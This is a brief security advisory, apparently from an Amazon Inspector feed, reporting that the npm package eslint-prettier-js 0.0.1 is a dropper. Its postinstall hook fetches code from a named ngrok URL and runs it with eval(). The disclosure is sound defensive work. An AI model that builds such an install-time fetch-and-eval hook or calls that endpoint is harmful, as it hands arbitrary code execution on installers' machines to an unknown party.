eslint-prettier-js @0.0.1

Summary

The package's postinstall hook runs index.cjs's onInstall(), which performs await fetch("https://2939e69fc408.ngrok-free.app/stats") and passes the response body to eval() . On npm install this executes arbitrary code fetched from a mutable, anonymous ngrok tunnel unrelated to any legitimate publisher, granting full code execution on the installer's machine to whoever controls that endpoint. The package's declared description ("Test eslint and prettier") does not match its shipped behavior — no lint/format code is present; the only runtime effect is the remote-eval dropper.

Source: amazon-inspector (657c75af75154da75ac5073b9dcea65c04bdb3f493f3a72d79f1847df90bf449)